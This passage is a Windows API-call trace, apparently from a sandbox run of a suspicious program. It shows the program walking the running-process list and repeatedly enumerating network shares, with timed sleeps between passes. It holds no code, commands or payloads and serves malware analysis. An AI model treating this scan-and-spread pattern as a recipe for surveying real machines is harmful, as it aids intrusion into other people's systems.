(lpString="reaches processing culture.exe") returned 30 [0292.168] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0292.168] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0292.168] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0292.168] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0292.169] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0292.169] lstrlenW (lpString="actual.exe") returned 10 [0292.169] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0292.169] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0292.169] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0292.169] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0292.169] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0292.170] lstrlenW (lpString="potter larry.exe") returned 16 [0292.170] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0292.170] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0292.170] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0292.170] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0292.170] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0292.170] lstrlenW (lpString="contents what certificate.exe") returned 29 [0292.170] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0292.170] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0292.170] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0292.170] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0292.171] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0292.171] lstrlenW (lpString="cindy.exe") returned 9 [0292.171] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0292.171] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0292.171] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0292.171] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0292.172] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0292.172] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0292.172] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0292.172] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0292.172] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0292.172] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0292.172] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0292.172] lstrlenW (lpString="unusual.exe") returned 11 [0292.172] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0292.172] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0292.172] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0292.172] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0292.173] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0292.173] lstrlenW (lpString="pacific.exe") returned 11 [0292.173] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0292.173] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0292.173] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0292.173] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0292.174] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0292.174] lstrlenW (lpString="phantom.exe") returned 11 [0292.174] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0292.174] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0292.174] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0292.174] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0292.174] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0292.174] lstrlenW (lpString="audiodg.exe") returned 11 [0292.174] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0292.174] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0292.174] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0292.174] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0292.175] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0292.175] lstrlenW (lpString="SCN0tification.exe") returned 18 [0292.175] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0292.175] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0292.175] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0292.175] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.176] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0292.176] lstrlenW (lpString="svchost.exe") returned 11 [0292.176] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0292.176] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.176] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.176] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0292.176] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0292.176] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0292.176] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0292.176] PathFindFileNameW (pszPath="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0292.176] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WMIPRVSE.EXE" | out: lpString1="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0292.177] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x324, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0292.177] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0292.177] lstrlenW (lpString="taskeng.exe") returned 11 [0292.177] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0292.177] PathFindFileNameW (pszPath="TASKENG.EXE") returned="TASKENG.EXE" [0292.177] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKENG.EXE" | out: lpString1="TASKENG.EXE") returned="TASKENG.EXE" [0292.177] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0292.178] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0292.178] lstrlenW (lpString="taskeng.exe") returned 11 [0292.178] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0292.178] PathFindFileNameW (pszPath="TASKENG.EXE") returned="TASKENG.EXE" [0292.178] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKENG.EXE" | out: lpString1="TASKENG.EXE") returned="TASKENG.EXE" [0292.178] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0292.178] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0292.179] lstrlenW (lpString="sppsvc.exe") returned 10 [0292.179] CharUpperBuffW (in: lpsz="sppsvc.exe", cchLength=0xa | out: lpsz="SPPSVC.EXE") returned 0xa [0292.179] PathFindFileNameW (pszPath="SPPSVC.EXE") returned="SPPSVC.EXE" [0292.179] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPPSVC.EXE" | out: lpString1="SPPSVC.EXE") returned="SPPSVC.EXE" [0292.179] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0292.179] CloseHandle (hObject=0x2c4) returned 1 [0292.179] Sleep (dwMilliseconds=0x1b7740) Thread: id = 26 os_tid = 0xf48 [0080.102] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x2c8ff70 | out: lphEnum=0x2c8ff70*=0x5d6708) returned 0x0 [0080.448] WNetEnumResourceW (in: hEnum=0x5d6708, lpcCount=0x2c8ff74, lpBuffer=0x5f1c98, lpBufferSize=0x2c8ff78 | out: lpcCount=0x2c8ff74, lpBuffer=0x5f1c98, lpBufferSize=0x2c8ff78) returned 0x0 [0080.448] WNetCloseEnum (hEnum=0x5d6708) returned 0x0 [0080.448] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x5f1c98, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x5bc270) returned 0x0 [0080.451] WNetEnumResourceW (in: hEnum=0x5bc270, lpcCount=0x2c8ff40, lpBuffer=0x5f99a0, lpBufferSize=0x2c8ff48 | out: lpcCount=0x2c8ff40, lpBuffer=0x5f99a0, lpBufferSize=0x2c8ff48) returned 0x103 [0080.451] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x5f1cb8, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4b8 [0094.030] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x5f1cd8, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4c6 [0094.031] Sleep (dwMilliseconds=0x493e0) [0104.043] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x2c8ff70 | out: lphEnum=0x2c8ff70*=0x67e378) returned 0x0 [0104.043] WNetEnumResourceW (in: hEnum=0x67e378, lpcCount=0x2c8ff74, lpBuffer=0x2ef65e0, lpBufferSize=0x2c8ff78 | out: lpcCount=0x2c8ff74, lpBuffer=0x2ef65e0, lpBufferSize=0x2c8ff78) returned 0x0 [0104.043] WNetCloseEnum (hEnum=0x67e378) returned 0x0 [0104.043] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef65e0, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x5f0d60) returned 0x0 [0104.204] WNetEnumResourceW (in: hEnum=0x5f0d60, lpcCount=0x2c8ff40, lpBuffer=0x2f04f88, lpBufferSize=0x2c8ff48 | out: lpcCount=0x2c8ff40, lpBuffer=0x2f04f88, lpBufferSize=0x2c8ff48) returned 0x103 [0104.204] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6600, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4b8 [0117.840] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6620, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4c6 [0117.841] Sleep (dwMilliseconds=0x493e0) [0127.843] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x2c8ff70 | out: lphEnum=0x2c8ff70*=0x67dc38) returned 0x0 [0127.844] WNetEnumResourceW (in: hEnum=0x67dc38, lpcCount=0x2c8ff74, lpBuffer=0x2ef6058, lpBufferSize=0x2c8ff78 | out: lpcCount=0x2c8ff74, lpBuffer=0x2ef6058, lpBufferSize=0x2c8ff78) returned 0x0 [0127.844] WNetCloseEnum (hEnum=0x67dc38) returned 0x0 [0127.844] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6058, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x67d680) returned 0x0 [0127.846] WNetEnumResourceW (in: hEnum=0x67d680, lpcCount=0x2c8ff40, lpBuffer=0x66a008, lpBufferSize=0x2c8ff48 | out: lpcCount=0x2c8ff40, lpBuffer=0x66a008, lpBufferSize=0x2c8ff48) returned 0x103 [0127.847] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6078, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4b8 [0139.954] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6098, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4c6 [0139.954] Sleep (dwMilliseconds=0x493e0) [0149.967] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x2c8ff70 | out: lphEnum=0x2c8ff70*=0x67e478) returned 0x0 [0149.967] WNetEnumResourceW (in: hEnum=0x67e478, lpcCount=0x2c8ff74, lpBuffer=0x2ef6058, lpBufferSize=0x2c8ff78 | out: lpcCount=0x2c8ff74, lpBuffer=0x2ef6058, lpBufferSize=0x2c8ff78) returned 0x0 [0149.967] WNetCloseEnum (hEnum=0x67e478) returned 0x0 [0149.967] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6058, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x67d1e0) returned 0x0 [0149.970] WNetEnumResourceW (in: hEnum=0x67d1e0, lpcCount=0x2c8ff40, lpBuffer=0x658670, lpBufferSize=0x2c8ff48 | out: lpcCount=0x2c8ff40, lpBuffer=0x658670, lpBufferSize=0x2c8ff48) returned 0x103 [0149.970] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6078, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4b8 [0162.360] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6098, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4c6 [0162.361] Sleep (dwMilliseconds=0x493e0) [0172.366] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x2c8ff70 | out: lphEnum=0x2c8ff70*=0x67e6b8) returned 0x0 [0172.366] WNetEnumResourceW (in: hEnum=0x67e6b8, lpcCount=0x2c8ff74, lpBuffer=0x2ef6058, lpBufferSize=0x2c8ff78 | out: lpcCount=0x2c8ff74, lpBuffer=0x2ef6058, lpBufferSize=0x2c8ff78) returned 0x0 [0172.366] WNetCloseEnum (hEnum=0x67e6b8) returned 0x0 [0172.366] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6058, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x67d280) returned 0x0 [0172.367] WNetEnumResourceW (in: hEnum=0x67d280, lpcCount=0x2c8ff40, lpBuffer=0x2f1c318, lpBufferSize=0x2c8ff48 | out: lpcCount=0x2c8ff40, lpBuffer=0x2f1c318, lpBufferSize=0x2c8ff48) returned 0x103 [0172.367] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6078, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4b8 [0184.852] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6098, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4c6 [0184.853] Sleep (dwMilliseconds=0x493e0) [0194.861] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x2c8ff70 | out: lphEnum=0x2c8ff70*=0x67e6b8) returned 0x0 [0194.861] WNetEnumResourceW (in: hEnum=0x67e6b8, lpcCount=0x2c8ff74, lpBuffer=0x2ef6058, lpBufferSize=0x2c8ff78 | out: lpcCount=0x2c8ff74, lpBuffer=0x2ef6058, lpBufferSize=0x2c8ff78) returned 0x0 [0194.861] WNetCloseEnum (hEnum=0x67e6b8) returned 0x0 [0194.862] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6058, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x67d240) returned 0x0 [0194.862] WNetEnumResourceW (in: hEnum=0x67d240, lpcCount=0x2c8ff40, lpBuffer=0x2f24020, lpBufferSize=0x2c8ff48 | out: lpcCount=0x2c8ff40, lpBuffer=0x2f24020, lpBufferSize=0x2c8ff48) returned 0x103 [0194.862] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6078, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4b8 [0207.350] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6098, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4c6 [0207.350] Sleep (dwMilliseconds=0x493e0) [0217.352] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x2c8ff70 | out: lphEnum=0x2c8ff70*=0x67e378) returned 0x0 [0217.352] WNetEnumResourceW (in: hEnum=0x67e378, lpcCount=0x2c8ff74, lpBuffer=0x2ef6058, lpBufferSize=0x2c8ff78 | out: lpcCount=0x2c8ff74, lpBuffer=0x2ef6058, lpBufferSize=0x2c8ff78) returned 0x0 [0217.352] WNetCloseEnum (hEnum=0x67e378) returned 0x0 [0217.352] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6058, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x67d3a0) returned 0x0 [0217.354] WNetEnumResourceW (in: hEnum=0x67d3a0, lpcCount=0x2c8ff40, lpBuffer=0x2f2bd28, lpBufferSize=0x2c8ff48 | out: lpcCount=0x2c8ff40, lpBuffer=0x2f2bd28, lpBufferSize=0x2c8ff48) returned 0x103 [0217.354] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6078, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4b8 [0229.811] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6098, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4c6 [0229.811] Sleep (dwMilliseconds=0x493e0) [0239.815] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x2c8ff70 | out: lphEnum=0x2c8ff70*=0x67e378) returned 0x0 [0239.816] WNetEnumResourceW (in: hEnum=0x67e378, lpcCount=0x2c8ff74, lpBuffer=0x2ef6058, lpBufferSize=0x2c8ff78 | out: lpcCount=0x2c8ff74, lpBuffer=0x2ef6058, lpBufferSize=0x2c8ff78) returned 0x0 [0239.816] WNetCloseEnum (hEnum=0x67e378) returned 0x0 [0239.816] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6058, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x67d2a0) returned 0x0 [0239.817] WNetEnumResourceW (in: hEnum=0x67d2a0, lpcCount=0x2c8ff40, lpBuffer=0x2f33a30, lpBufferSize=0x2c8ff48 | out: lpcCount=0x2c8ff40, lpBuffer=0x2f33a30, lpBufferSize=0x2c8ff48) returned 0x103 [0239.818] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6078, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4b8 [0252.388] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6098, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4c6 [0252.389] Sleep (dwMilliseconds=0x493e0) [0262.400] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x2c8ff70 | out: lphEnum=0x2c8ff70*=0x67e6b8) returned 0x0 [0262.400] WNetEnumResourceW (in: hEnum=0x67e6b8, lpcCount=0x2c8ff74, lpBuffer=0x2ef6058, lpBufferSize=0x2c8ff78 | out: lpcCount=0x2c8ff74, lpBuffer=0x2ef6058, lpBufferSize=0x2c8ff78) returned 0x0 [0262.400] WNetCloseEnum (hEnum=0x67e6b8) returned 0x0 [0262.400] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6058, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x67d480) returned 0x0 [0262.401] WNetEnumResourceW (in: hEnum=0x67d480, lpcCount=0x2c8ff40, lpBuffer=0x2f3b738, lpBufferSize=0x2c8ff48 | out: lpcCount=0x2c8ff40, lpBuffer=0x2f3b738, lpBufferSize=0x2c8ff48) returned 0x103 [0262.401] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6078, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4b8 [0275.038] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6098, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4c6 [0275.039] Sleep (dwMilliseconds=0x493e0) [0285.054] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x2c8ff70 | out: lphEnum=0x2c8ff70*=0x67e478) returned 0x0 [0285.055] WNetEnumResourceW (in: hEnum=0x67e478, lpcCount=0x2c8ff74, lpBuffer=0x2ef6058, lpBufferSize=0x2c8ff78 | out: lpcCount=0x2c8ff74, lpBuffer=0x2ef6058, lpBufferSize=0x2c8ff78) returned 0x0 [0285.055] WNetCloseEnum (hEnum=0x67e478) returned 0x0 